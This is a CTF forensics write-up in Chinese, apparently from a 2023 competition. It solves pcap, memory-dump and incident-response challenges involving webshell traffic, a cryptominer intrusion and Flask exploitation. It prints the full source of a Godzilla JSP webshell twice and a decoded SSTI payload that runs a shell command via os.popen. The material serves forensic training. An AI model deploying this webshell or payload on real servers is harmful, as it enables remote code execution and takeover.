HW
HW.zip 解压得到hard_web.pcap
文件。
hard_web_1
题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
1http and http.response.code==200
题目所指的服务器应该是192.168.162.188
1tcp.connection.synack and ip.dst==192.168.162.188
发现80端口请求较多
1tcp.connection.synack and ip.dst==192.168.162.188 and tcp.port not in {80}
所以服务器开放端口应该是80 888 8888
答案 80,888,8888
hard_web_2
题目内容:服务器中根目录下的flag值是多少?
哥斯拉webshell
1<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
跟踪到流20052
发现并不是查看flag,继续跟进流20053
解密请求报文应该是查看flag内容了,解密返回报文得到flag
答案 flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3
题目内容:该webshell的连接密码是多少?
1<%!
2String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
3%>
4<%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
答案 14mk3y
SS
ss.zip 解压得到final.pcap
文件和do.tar
文件。
sevrer save_1
题目内容:黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
答案 CVE-2022-22965
sevrer save_2
题目内容:黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
答案 192.168.43.128:2333
sevrer save_3
题目内容:黑客的病毒名称是什么? 格式为:filename
答案 main
sevrer save_4
题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
答案 ll:123456
sevrer save_5
题目内容:服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
答案 172.105.202.239
sevrer save_6
题目内容:病毒运行后释放了什么文件?格式:文件1,文件2
答案 lolMiner,mine_doge.sh
sevrer save_7
题目内容:矿池地址是什么? 格式:domain:1234
答案 doge.millpools.cc:5567
sevrer save_8
题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx
答案 DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
WS
ws.zip 解压得到1.pcapng
文件。
Wireshark1_1
题目内容:被入侵主机的IP是?
答案 192.168.246.28
Wireshark1_2
题目内容:被入侵主机的口令是?
答案 youcannevergetthis
Wireshark1_3
题目内容:用户目录下第二个文件夹的名称是?
答案 Downloads
Wireshark1_4
题目内容:/etc/passwd中倒数第二个用户的用户名是?
答案 mysql
IR
ir.zip 解压得到irTest.ova
文件。
双击导入Virtualbox虚拟机,添加一张网卡,设置成桥接,启动虚拟机。
IncidentResponse_1
题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
使用SSHFS-Win Manager 添加配置,通过ssh挂载文件系统。
直接使用杀毒软件
答案 6f72038a870f05cbf923633066e48881
IncidentResponse_2
题目内容:挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
域名是 donate.v2.xmrig.com
答案 3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
题目内容:攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
访问web
存在shiro反序列化漏洞(shiro deserialization),看提示答案带空格要去掉
答案 3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
题目内容:攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
1find / -name 'access.log'
2cat /var/log/nginx/access.log |awk '{print $1}'|uniq -c |sort -k1,1nr
攻击者IP应该是81.70.166.3
答案 c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
题目内容:攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
1 /var/log/nginx/access.log
1grep -r '81.70.166.3' /var/log/nginx/access.log |awk '{print $12,$13,$14,$15,$16}'|sort -nr|uniq -c|sort -rn
应该是 "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
去掉空格,再把大写转小写
答案 6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
添加ssh免密钥登录/root/.ssh/authorized_keys
答案 a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
1find / -newermt '2023-07-23 16:38:10' ! -newermt '2023-07-23 19:38:10'
答案 b2c5af8ce08753894540331e5a947d35
SSW
ssw.zip 解压得到SmallSword.pcapng
文件。
SmallSword_1
题目内容:连接蚁剑的正确密码是______________?(答案示例:123asd)
答案 6ea280898e404bfabd0ebb702327b19f
SmallSword_2
题目内容:攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
1tcp contains "write"
就俩数据包,看后面那个24775
答案 ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
题目内容:攻击者下载到的flag是______________?(答案示例:flag3{uuid})
1tcp contains "Program"
运行后生成test.jpg
png图片的长宽存在问题,尝试crc爆破
1import os
2import binascii
3import struct
4
5for i in range(20000):#一般 20000就够
6 wide = struct.pack('>i',i)
7 for j in range(20000):
8 high = struct.pack('>i',j)
9 data = b'\x49\x48\x44\x52' + wide+ high+b'\x08\x02\x00\x00\x00'
10 #因为是 Py3,byte和str型不能直接进行运算,要写把 str写 b'...'。不然把 wide和 high写成 str(...)
11
12 crc32 = binascii.crc32(data) & 0xffffffff
13 if crc32 == 0x5ADB9644: # 0x889C2F07是这个 png文件头的 CRC校验码,在 21~25byte处
14 print('\n\n',i,j,crc32) #0x 后的数字为十六进制中crc位置的代码(winhex左016,13-下一行的0)
15 print(hex(i),hex(j),hex(crc32))
16 exit(0)
1605 769 1524340292
20x25d 0x301 0x5adb9644
答案 flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
EW
ew.zip 解压得到ez_web.pcap
文件。
ez_web_1
题目内容:服务器自带的后门文件名是什么?(含文件后缀)
http定位webshell文件为d00r.php
答案 ViewMore.php
ez_web_2
题目内容:服务器的内网IP是多少?
答案 192.168.101.132
ez_web_3
题目内容:攻击者往服务器中写入的key是什么?
找到写入文件数据流
对应密码7e03864b0db7e6f9
写入文件先url decode 再base64 decode,得到一个zip压缩文件
使用刚才得到的密码解密,打开txt看到flag
答案 7d9ddff2-2d67-4eba-9e48-b91c26c42337
BF
bf.zip 解压得到baby_forensics.raw
文件和baby_forensics.vmdk
文件。
baby_forensics_1
题目内容:磁盘中的key是多少?
先查找带key的文件
1.\volatility_2.6_win64_standalone.exe -f .\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 filescan key*|findstr key
20x000000003df80070 2 0 -W-rwd \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\abafa01a\key.txt
30x000000003df94070 16 0 RW---- \Device\HarddiskVolume3\key.txt
40x000000003e332e60 1 1 ------ \Device\NamedPipe\keysvc
50x000000003e3345b0 1 1 ------ \Device\NamedPipe\keysvc
60x000000003e7dca60 2 1 ------ \Device\NamedPipe\keysvc
导出文件
1.\volatility_2.6_win64_standalone.exe -f .\lj2023\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 dumpfiles --dump-dir . -Q 0x000000003df80070
答案 thekeyis2e80307085fd2b5c49c968c323ee25d5
baby_forensics_2
题目内容:电脑中正在运行的计算器的运行结果是多少?
1.\volatility_2.6_win64_standalone.exe -f .\lj2023\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 windows >dump
打开dump文件搜索calc.exe并结合Name\: [0-9]
答案 7598632541
baby_forensics_3
题目内容:该内存文件中存在的flag值是多少?
1.\volatility_2.6_win64_standalone.exe -f .\lj2023\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 filescan |findstr '.snt'
1.\volatility_2.6_win64_standalone.exe -f .\lj2023\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 dumpfiles -n --dump-dir . -Q 0x000000003dfc3d10
得到StickyNotes.snt 拖到windows7操作系统,替换掉指定目录的C:\Users\admin\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt
文件
或者使用R-studio直接获取
得到字符串U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
继续查找,找到疑似密钥 qwerasdf
使用cryptojs在线aes解密
答案 flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
TP
tp.zip 解压得到stream_new.cap
文件。
tcpdump_1
题目内容:攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
1tcp contains "login"
1tcp contains "\"errCode\":200"
一行一行看,第三行找到登录成功记录。
答案 TMjpxFGQwD:123457
tcpdump_2
题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
1tcp contains "userid=1"
2tcp contains "userid=2"
看数据包编号,应该是先登录了userid=2,越权登录userid=1,攻击者应该是userid=1
答案 accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
tcpdump_3
题目内容:攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
1tcp contains "password" and tcp contains "username"
答案 zyplayer:1234567
tcpdump_4
题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
答案 CVE-2022-21724:custom.dtd.xml
tcpdump_5
题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap
从数据流1602开始跟下去,直到1611才看到下载文件
答案 fscan
HD
hd.zip 解压得到Flask.pcap
文件。
hacked_1
题目内容:admIn用户的密码是什么?
1 crypt_key = 'l36DoqKUYQP0N7e1';
2 crypt_iv = '131b0c8a7a6e072e';
查找数据流
答案 flag{WelC0m5_TO_H3re}
hacked_2
题目内容:app.config[‘SECRET_KEY’]值为多少?
答案 ssti_flask_hsfvaldb
hacked_3
题目内容:flask网站由哪个用户启动?
寻找返回http数据包中包含Set-Cookie
1tcp contains "Set-Cookie" and http.response.code==200
1python .\flask_session_cookie_manager3.py decode -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"
2
3b'{"flag":"red\\n","username":"{%if session.update({\'flag\':lipsum[\'__globals__\'][\'__getitem__\'](\'os\')[\'popen\'](\'whoami\').read()})%}{%endif%}"}'
答案 red
hacked_4
题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
答案 Index
整理复现来自gu.y